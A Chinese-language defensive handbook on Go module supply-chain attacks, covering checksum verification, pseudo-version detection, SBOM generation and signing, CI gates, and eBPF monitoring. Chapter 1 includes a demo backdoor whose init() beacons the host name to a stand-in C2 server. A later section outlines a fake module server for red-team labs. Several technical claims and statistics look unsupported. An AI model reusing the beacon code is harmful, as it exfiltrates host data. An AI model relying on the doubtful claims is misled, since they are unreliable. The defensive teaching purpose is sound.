Go module供应链攻击防御手册：如何在72小时内完成依赖树可信验证与SBOM生成

第一章：Go module供应链攻击的本质与威胁全景

Go module 供应链攻击并非孤立的代码注入事件，而是利用 Go 生态中模块发现、下载、校验与构建流程中的信任链薄弱环节，实施的系统性信任劫持。其本质在于攻击者通过污染模块注册源（如 proxy.golang.org）、篡改版本标签、劫持域名或污染上游依赖，使 go get 或 go build 在无感知状态下拉取恶意代码，进而实现远程执行、凭证窃取或横向移动。

模块信任链的关键断裂点

代理服务器缓存污染：Go 默认通过 proxy.golang.org 下载模块，该代理不验证模块内容完整性，仅缓存首次请求结果；若攻击者在首次请求时提供恶意版本（如伪造的 v1.2.3+insecure 标签），后续所有用户将复用该污染缓存；
校验和绕过机制：当 GOPROXY=direct 或 GOSUMDB=off 时，go 工具链跳过 sum.golang.org 的签名验证，完全丧失模块哈希一致性校验能力；
伪版本与语义化版本混淆：攻击者可发布形如 v0.0.0-20240101000000-abcdef123456 的伪版本，规避常规版本策略审查，且该格式被 go 工具链合法接受。

典型攻击链演示

以下命令模拟一次隐蔽的依赖污染过程（仅用于安全研究场景）：

# 1. 攻击者在私有仓库发布恶意模块（含后门的 httpclient）
git clone https://attacker.example.com/malicious/httpclient.git
cd httpclient && git tag v1.0.0 && git push origin v1.0.0

# 2. 受害项目无意中引入（未加 replace 或 require 约束）
echo 'require malicious/httpclient v1.0.0' >> go.mod
go mod tidy  # 此时 go 会从 attacker.example.com 拉取并缓存至本地 module cache

# 3. 恶意模块 init() 函数自动触发反连 C2 服务器
// httpclient/client.go
func init() {
    http.Get("http://c2.attacker.net/beacon?host=" + os.Getenv("HOSTNAME")) // 静默外联
}

当前威胁分布特征（2024年公开案例统计）

威胁类型	占比	典型载体
恶意伪版本模块	47%	`github.com/user/pkg@v0.0.0-...`
依赖混淆（typosquatting）	29%	`gopkg.in/yaml.v2` → `gopkg.in/ymal.v2`
间接依赖投毒	24%	通过 `golang.org/x/net` 等高星库的子模块嵌套污染

模块校验机制虽已内建，但默认配置下仍高度依赖外部服务可用性与开发者安全意识——一旦 GOSUMDB 不可用或被主动禁用，整个供应链即暴露于无防护状态。

第二章：依赖树可信验证的七十二小时攻坚路线

2.1 Go module校验机制深度解析：sumdb、proxy与verify模式协同原理

Go 模块校验体系通过三重机制保障依赖完整性：sumdb 提供全局可验证的哈希记录，proxy 加速分发并缓存校验元数据，go mod verify 执行本地一致性断言。

校验流程协同示意

graph TD
    A[go get] --> B[Proxy 查询模块版本]
    B --> C[Fetch .info/.mod/.zip]
    C --> D[Query sum.golang.org]
    D --> E[比对 checksum]
    E --> F[本地 verify 通过/失败]

关键命令与参数含义

# 启用严格校验（默认开启）
go env -w GOSUMDB=sum.golang.org

# 临时绕过校验（仅调试）
go env -w GOSUMDB=off

# 指向私有 sumdb（需兼容协议）
go env -w GOSUMDB=my-sumdb.example.com+<public-key>

GOSUMDB 控制校验源；+<public-key> 是 sumdb 签名公钥 Base64 编码，用于验证响应签名有效性。

校验元数据存储结构

文件名	用途	是否签名
`go.sum`	项目级模块哈希快照	否
`index.html`	sumdb 全局索引（Merkle Tree）	是
`latest`	最新树根哈希	是

2.2 自动化依赖指纹提取：go list -m -json + checksum比对实战脚本开发

Go 模块依赖的精确指纹需同时捕获模块路径、版本与内容校验值。go list -m -json 提供结构化元数据，而 sum.golang.org 的 checksum 可验证完整性。

核心流程

执行 go list -m -json all 获取全量模块清单（含 Path, Version, Sum 字段）
对比本地缓存与远程 sumdb 的哈希一致性
输出偏差模块列表并标记风险等级

实战脚本片段

# 提取模块指纹并校验 checksum
go list -m -json all 2>/dev/null | \
  jq -r 'select(.Sum != null) | "\(.Path)@\(.Version) \(.Sum)"' | \
  while read mod; do
    path=$(echo "$mod" | awk '{print $1}')
    sum_remote=$(curl -s "https://sum.golang.org/lookup/$path" 2>/dev/null | tail -n1 2>/dev/null)
    sum_local=$(echo "$mod" | awk '{print $2}')
    [ "$sum_local" = "$sum_remote" ] || echo "MISMATCH: $path → local:$sum_local ≠ remote:$sum_remote"
  done

逻辑说明：go list -m -json all 输出每个模块的 JSON 描述；jq 过滤非空 Sum 并格式化为 path@version sum；循环中调用 sum.golang.org/lookup/ 接口获取权威 checksum，逐项比对。注意 -s 静默错误、tail -n1 提取响应末行校验值（符合 sumdb 协议格式）。

模块路径	本地 Sum（前8位）	远程 Sum（前8位）	状态
golang.org/x/net	h1:abcd1234	h1:abcd1234	✅ 一致
github.com/gorilla/mux	h1:ef567890	h1:gh123456	❌ 偏差

graph TD
  A[go list -m -json all] --> B[解析 Path/Version/Sum]
  B --> C[并发查 sum.golang.org/lookup/]
  C --> D{Sum 匹配？}
  D -->|是| E[记录可信指纹]
  D -->|否| F[告警+输出差异]

2.3 不可信依赖动态拦截：基于GOPROXY+GOSUMDB定制化中间件部署

在零信任软件供应链实践中，需对 go get 流程中未经验证的模块实施实时拦截与重写。

拦截架构概览

graph TD
    A[Go CLI] -->|GO111MODULE=on| B(GOPROXY=https://proxy.internal)
    B --> C{中间件鉴权}
    C -->|可信| D[上游代理/缓存]
    C -->|可疑| E[重定向至审计沙箱]
    E --> F[生成隔离 checksum]

核心配置示例

# 启动定制化代理服务（含 GOSUMDB 透传）
goproxy-server \
  --upstream https://proxy.golang.org \
  --sumdb sum.golang.org \
  --block-pattern "github.com/dangerous/*" \
  --audit-hook "/usr/local/bin/scan-module.sh"

--block-pattern：正则匹配高风险路径，触发阻断而非静默重定向；
--audit-hook：调用外部脚本执行 SBOM 生成与 CVE 扫描，失败则拒绝响应。

模块校验策略对比

策略	响应延迟	可审计性	适用场景
直连 sum.golang.org	低	弱	内网可信环境
中间件签名代理	中	强	金融/政企生产集群
沙箱动态重签	高	最强	首次引入第三方库

2.4 语义版本劫持检测：v0.0.0-时间戳伪版本与恶意tag识别策略

Go 模块生态中，v0.0.0-<timestamp>-<commit> 类伪版本常被滥用为绕过语义版本校验的“后门入口”。

识别核心逻辑

需同时验证三重特征：

版本字符串匹配正则 ^v0\.0\.0-\d{14}-[0-9a-f]{7,}$
对应 Git tag 不存在或指向非 commit 对象（如 dangling tag）
该 commit 不在主干分支（main/master）的可达路径中

func isSuspiciousPseudoVersion(v string) bool {
    re := regexp.MustCompile(`^v0\.0\.0-(\d{14})-[0-9a-f]{7,}$`)
    m := re.FindStringSubmatchIndex([]byte(v))
    if m == nil { return false }
    ts := string(v[m[0][0]+8 : m[0][1]]) // 提取14位时间戳
    return isValidISO8601Date(ts) && !isCommitInMainBranch(ts)
}

isValidISO8601Date 校验 YYYYMMDDHHMMSS 格式有效性；isCommitInMainBranch 调用 git merge-base --is-ancestor 判定可达性。

恶意 tag 分类策略

类型	特征	处置动作
dangling	`git cat-file -t <tag>` 返回 `missing`	阻断解析
lightweight	无附注、无签名、创建时间晚于最近 release	加入灰名单审计

graph TD
    A[解析版本字符串] --> B{匹配 v0.0.0-* ?}
    B -->|否| C[常规语义版本流程]
    B -->|是| D[提取时间戳与 commit hash]
    D --> E[验证 Git 对象存在性]
    E --> F{是否 dangling 或 unreachable?}
    F -->|是| G[标记高危并告警]
    F -->|否| H[放行至依赖图分析]

2.5 验证结果可视化看板：Prometheus+Grafana驱动的依赖健康度实时仪表盘

核心指标设计

依赖健康度由三维度构成：

✅ 可用性（up{job="dependency"} == 1）
⏱️ 响应延迟（histogram_quantile(0.95, sum(rate(dependency_duration_seconds_bucket[1h])) by (le, job))）
📉 错误率（rate(dependency_errors_total[1h]) / rate(dependency_requests_total[1h])）

Prometheus采集配置示例

# prometheus.yml 片段：主动探测外部依赖端点
- job_name: 'blackbox-http'
  metrics_path: /probe
  params:
    module: [http_2xx]
  static_configs:
    - targets: ['https://api.payment.example.com/health']
  relabel_configs:
    - source_labels: [__address__]
      target_label: __param_target
    - source_labels: [__param_target]
      target_label: instance
    - replacement: http://blackbox-exporter:9115
      target_label: __address__

该配置通过 Blackbox Exporter 实现对第三方 HTTP 服务的黑盒探活；__param_target 动态注入被测地址，instance 标签保留可读性标识，便于 Grafana 多维下钻。

Grafana 面板关键变量

变量名	类型	查询表达式	用途
`$dependency`	Query	`label_values(up{job="dependency"}, instance)`	动态筛选依赖实例
`$duration`	Custom	`1m`, `5m`, `30m`	控制时间窗口粒度

健康度计算逻辑（Grafana 指标面板）

100 * (
  (avg_over_time(up{job="dependency"}[5m]) * 0.4) +
  (1 - histogram_quantile(0.95, sum(rate(dependency_duration_seconds_bucket[5m])) by (le, job))) * 0.4 +
  (1 - rate(dependency_errors_total[5m]) / rate(dependency_requests_total[5m])) * 0.2
)

加权融合三项指标：可用性（40%）、低延迟（40%）、低错误率（20%），输出 0–100 分健康得分，支持阈值着色告警。

graph TD
  A[依赖服务] --> B[Exporter采集指标]
  B --> C[Prometheus存储时序数据]
  C --> D[Grafana查询+加权计算]
  D --> E[实时健康度仪表盘]
  E --> F[阈值触发告警通道]

第三章：SBOM生成的核心技术栈与合规落地

3.1 SPDX与CycloneDX双格式生成器选型对比与go-mod-graph深度集成

在构建SBOM流水线时，需兼顾标准兼容性与Go生态适配性。spdx-sbom-generator 和 cyclonedx-gomod 是两类主流工具，但均未原生支持模块依赖图的动态拓扑感知。

核心能力对比

特性	spdx-sbom-generator	cyclonedx-gomod	go-mod-graph 集成方案
Go module 语义解析	❌（依赖 vendor）	✅（`go list -m -json`）	✅（AST+graph walk）
依赖环检测	❌	❌	✅（DFS cycle detection）
双格式并行输出	❌（仅SPDX）	❌（仅CycloneDX）	✅（统一IR → 双序列化）

go-mod-graph 深度集成示例

// 构建带语义的模块图并注入SBOM上下文
g, _ := graph.NewGraph()
modGraph, _ := gomod.Load(".")

// 注入license、purl、vulnerability-ref等SBOM字段
for _, m := range modGraph.Modules {
    node := g.NewNode(m.Path)
    node.SetAttr("purl", fmt.Sprintf("pkg:golang/%s@%s", m.Path, m.Version))
}

该代码将 go list 的原始模块元数据映射为带属性的有向图节点，为后续SPDX PackageElement或CycloneDX Component提供结构化输入源。

数据同步机制

graph TD
    A[go list -m -json] --> B[go-mod-graph AST walker]
    B --> C{SBOM IR Layer}
    C --> D[SPDX JSON Generator]
    C --> E[CycloneDX JSON Generator]

3.2 源码级组件溯源：go list -deps + go version -m -v 构建精确依赖谱系

Go 生态中，仅靠 go.mod 无法揭示实际编译时参与构建的源码级依赖路径。go list -deps 提供模块粒度的依赖图，而 go version -m -v 揭示二进制中嵌入的模块版本与校验信息，二者协同可重建真实依赖谱系。

核心命令组合解析

# 获取当前模块所有直接/间接依赖（含重复路径）
go list -deps -f '{{if not .Standard}}{{.ImportPath}} {{.Module.Path}}@{{.Module.Version}}{{end}}' ./...

# 查看可执行文件内嵌模块元数据（含 replace 和伪版本）
go version -m -v ./myapp

go list -deps 默认包含标准库（需 {{if not .Standard}} 过滤）；-f 模板精准提取导入路径与模块标识；go version -m -v 输出含 path, version, sum, replace 字段，是验证依赖篡改的关键证据。

依赖谱系验证流程

graph TD
    A[go list -deps] --> B[提取模块路径与版本]
    C[go version -m -v] --> D[提取二进制嵌入模块信息]
    B & D --> E[交叉比对路径/版本/sum]
    E --> F[识别 replace/indirect/伪版本偏差]

字段	`go list -deps` 来源	`go version -m -v` 来源	用途
`ImportPath`	包导入路径	—	定位源码位置
`Module.Path`	模块路径	`path`	关联 go.mod 声明
`Module.Version`	语义化版本	`version`	验证是否一致
`sum`	—	`sum`	校验二进制是否被污染

3.3 SBOM签名与可验证性增强：Cosign签名注入与Sigstore透明日志审计链构建

SBOM（软件物料清单）的可信性依赖于强身份绑定与公开可验证的签名证据。Cosign 作为 Sigstore 生态核心工具，支持使用 OIDC 身份（如 GitHub Actions）对 SPDX 或 CycloneDX 格式 SBOM 进行无密钥签名。

签名注入流程

# 对生成的 SBOM 文件进行 Cosign 签名（自动触发 Fulcio 证书颁发与 Rekor 日志存证）
cosign sign-blob \
  --oidc-issuer https://token.actions.githubusercontent.com \
  --oidc-client-id https://github.com/myorg/mypipeline \
  --yes \
  sbom.spdx.json

--oidc-issuer 指定身份提供方；--oidc-client-id 确保工作流身份唯一性；--yes 跳过交互，适配 CI 流水线。

审计链三元组验证模型

组件	作用	不可篡改性保障
Fulcio	颁发短期代码签名证书	与 OIDC 身份强绑定
Rekor	透明日志（Merkle Tree）	所有签名事件全局可查
Cosign CLI	本地验证签名+证书+日志条目	三方交叉校验（TUF 风格）

可验证性增强机制

graph TD
  A[SBOM文件] --> B[Cosign签名]
  B --> C[Fulcio签发证书]
  B --> D[Rekor提交日志条目]
  C & D --> E[客户端调用cosign verify-blob]
  E --> F[同步校验证书链+日志存在性+签名有效性]

该链确保任何 SBOM 的签名行为均被公开记录、不可抵赖，并支持第三方独立审计。

第四章：防御体系的工程化闭环建设

4.1 CI/CD流水线嵌入式防护：GitHub Actions中go-sumcheck与syft-sbom自动门禁配置

在Go项目CI阶段嵌入供应链完整性验证，需同步校验依赖哈希一致性与软件物料清单（SBOM）合规性。

门禁策略设计原则

go-sumcheck 防止 go.sum 被篡改或遗漏
syft 生成 SPDX/SBOM 并交由 grype 扫描已知漏洞
任一检查失败即终止构建（fail-fast）

GitHub Actions 工作流节选

- name: Validate Go module checksums
  uses: actions/setup-go@v4
  with:
    go-version: '1.22'
- name: Run go-sumcheck
  run: |
    go install github.com/securego/go-sumcheck/cmd/go-sumcheck@latest
    go-sumcheck --strict  # 拒绝缺失/不匹配条目

--strict 启用严格模式：检测 go.sum 中缺失的模块哈希、冗余条目及校验失败项，确保所有依赖可复现。

SBOM 生成与门禁联动

工具	输出格式	门禁触发条件
`syft -q .`	CycloneDX JSON	非空输出且无 panic 错误
`grype -o template -t ./sbom-report.tmpl sbom.json`	自定义报告	CVE 严重等级 ≥ HIGH 时失败

graph TD
  A[Push to main] --> B[Checkout code]
  B --> C[go-sumcheck --strict]
  B --> D[syft -o cyclonedx-json > sbom.json]
  C --> E{Pass?}
  D --> F{Valid SBOM?}
  E & F --> G[Build continues]
  E -.-> H[Fail build]
  F -.-> H

4.2 企业级依赖治理策略：go.work多模块场景下的统一校验与策略分发机制

在大型 Go 单体仓库中，go.work 管理多个 module 时，依赖版本漂移与策略不一致成为高危风险点。

统一校验入口设计

通过 governor 工具链注入预提交钩子，扫描所有 go.work 下子模块的 go.mod：

# 校验命令（需在 go.work 根目录执行）
governor check --policy ./policies/corporate.yaml --report-json ./reports/audit.json

逻辑分析：--policy 指向 YAML 策略文件，定义允许的主版本范围（如 github.com/aws/aws-sdk-go-v2: ^1.20.0）、禁止的间接依赖（如 golang.org/x/exp）、及强制 checksum 验证开关；--report-json 输出结构化结果供 CI 解析。

策略分发机制

采用声明式策略中心 + 本地缓存同步：

组件	职责
Policy Server	托管权威策略、签名发布、变更审计
`governor sync`	拉取带签名的策略快照至 `.governor/policy/`

graph TD
  A[CI Pipeline] --> B[governor sync]
  B --> C[本地策略缓存]
  C --> D[go.work 构建前校验]
  D --> E{校验通过？}
  E -->|否| F[阻断构建并上报策略违规]
  E -->|是| G[继续 go build]

4.3 攻击模拟与红蓝对抗：基于go-getter伪造module server的渗透测试靶场搭建

为复现 Go 模块劫持（GOPROXY 供应链攻击），需构建可控的伪造 module server。

核心组件设计

使用 net/http 启动轻量 HTTP server
响应 /@v/list、/@v/<version>.info、/@v/<version>.mod 等标准 Go proxy 路径
支持动态注入恶意 go.mod 替换或 main.go 补丁

关键路由示例

http.HandleFunc("/github.com/example/lib/@v/list", func(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "text/plain; charset=utf-8")
    fmt.Fprint(w, "v1.0.0\nv1.1.0\nv2.0.0\n") // 诱导受害者拉取指定版本
})

逻辑说明：该 handler 模拟官方 proxy 的版本枚举接口；Content-Type 必须严格匹配 Go client 要求，否则 go get 将跳过该源。路径中 @v/list 是 Go toolchain 自动探测模块可用版本的关键端点。

攻击向量对照表

阶段	官方行为	伪造 server 可控点
模块解析	读取 `go.mod` 依赖树	返回篡改后的 `.mod` 文件
构建执行	编译远程 module 源码	注入恶意 `init()` 或 hook

graph TD
    A[go get github.com/example/lib] --> B{GOPROXY=http://fake-server}
    B --> C[/@v/list]
    C --> D[/@v/v1.1.0.info]
    D --> E[/@v/v1.1.0.zip]

4.4 运行时依赖监控：eBPF钩子捕获dlopen/dlsym调用链与可疑第三方so加载告警

核心监控点定位

eBPF程序通过kprobe钩住__libc_dlopen_mode和__libc_dlsym内核符号，精准捕获用户态动态链接行为。需启用CONFIG_KPROBE_EVENTS并挂载到/sys/kernel/debug/tracing/events/kprobes/。

关键eBPF代码片段

SEC("kprobe/__libc_dlopen_mode")
int BPF_KPROBE(dlopen_entry, const char *filename, int flag) {
    bpf_probe_read_user_str(filename_buf, sizeof(filename_buf), filename);
    bpf_map_update_elem(&dlopen_calls, &pid, &filename_buf, BPF_ANY);
    return 0;
}

逻辑分析：bpf_probe_read_user_str安全读取用户空间路径字符串；dlopen_calls为BPF_MAP_TYPE_HASH映射，以PID为key暂存加载路径，供后续dlsym上下文关联。参数filename可能为空（如dlopen(NULL, ...)），需在用户态解析器中做空值校验。

告警触发策略

触发条件	风险等级	示例场景
路径含`/tmp`或`/dev/shm`	高	内存加载恶意SO绕过磁盘扫描
文件名含`libcrypto`但签名不匹配	中	伪造加密库劫持TLS握手

调用链重建流程

graph TD
    A[dlopen] --> B[记录PID+路径]
    B --> C[dlsym调用]
    C --> D[查map获取原始路径]
    D --> E[比对白名单/签名/路径熵]
    E --> F{异常？}
    F -->|是| G[推送告警至SIEM]

第五章：未来防御范式的演进与思考

零信任架构在金融核心系统的落地实践

某全国性股份制银行于2023年完成核心交易系统零信任改造。不再依赖传统边界防火墙，而是为每台终端、每个API调用、每位运维人员颁发动态短时效身份凭证（JWT有效期≤90秒），并强制执行设备健康度校验（TPM可信启动+EDR进程白名单）。上线后横向移动攻击尝试下降97%，一次针对网银前置机的SMBv3漏洞利用因未通过微隔离策略（基于SPIFFE ID的Service-to-Service授权）被实时阻断。其策略引擎日均处理策略决策请求2.4亿次，平均延迟18ms。

AI驱动的威胁狩猎闭环机制

某省级政务云安全运营中心部署自研SOAR平台，集成LLM威胁研判模块。当EDR上报“PowerShell内存注入”告警时，系统自动关联：① 近72小时该主机所有网络连接（提取DNS请求序列）；② 同一IP段内其他主机是否存在相似行为；③ 公开威胁情报库中匹配C2域名活跃度。2024年Q2实战中，该机制在勒索软件加密前11分钟识别出APT29变种的横向渗透链，并触发自动化隔离（调用OpenStack API关停实例+重置Neutron端口ACL）。

量子安全迁移的工程化路径

国家电网某调度控制系统已启动PQC过渡计划。采用NIST第三轮入选算法CRYSTALS-Kyber（密钥封装）与Dilithium（数字签名），在SCADA通信协议栈中嵌入混合密钥协商层：TLS 1.3握手阶段同时协商X25519与Kyber768密钥，服务端根据客户端能力自动降级。测试环境显示加解密吞吐量达12.8Gbps（Intel Xeon Platinum 8360Y+AVX-512优化），密钥交换延迟增加仅3.2ms。

迁移阶段	关键组件	实施周期	风险缓释措施
混合运行	TLS/PKI双栈	6个月	签名证书双签（RSA+Dilithium）
渐进替换	SSH密钥轮换	12个月	OpenSSH 9.8+支持Kyber密钥格式
全量切换	SCADA固件签名	18个月	硬件安全模块HSM升级至FIPS 203认证

flowchart LR
    A[终端设备] -->|mTLS双向认证| B(策略控制点)
    B --> C{策略决策引擎}
    C -->|允许| D[应用服务]
    C -->|拒绝| E[自动隔离区]
    F[威胁情报平台] -->|实时IOC推送| C
    G[UEBA引擎] -->|异常行为评分| C

开源供应链深度审计流水线

Linux基金会关键基础设施项目采用三阶验证模型：① 构建时扫描（Trivy+Syft生成SBOM）；② 运行时校验（eBPF钩子监控/proc/sys/kernel/modules加载）；③ 发布前人工复核（Git commit签名+硬件密钥签名）。2024年拦截了两个高危案例：某CI/CD镜像中隐藏的恶意pip包（通过AST分析发现__import__('os').system('curl ...')混淆代码），以及某Kubernetes Operator Helm Chart中硬编码的AWS临时凭证（正则匹配AKIA[0-9A-Z]{16}+AWS STS接口调用日志交叉验证）。

安全左移的效能量化证据

某车企智能座舱OS开发团队将SAST工具集成至GitLab CI，在merge request阶段强制阻断CVE-2023-38831类缓冲区溢出漏洞。统计显示：漏洞修复平均耗时从14.2天缩短至3.7小时，缺陷逃逸率由12.6%降至0.8%。更关键的是，静态分析报告直接映射到Jira任务ID，开发人员点击IDE插件即可跳转至漏洞行号并查看修复建议（含Clang-Tidy补丁生成）。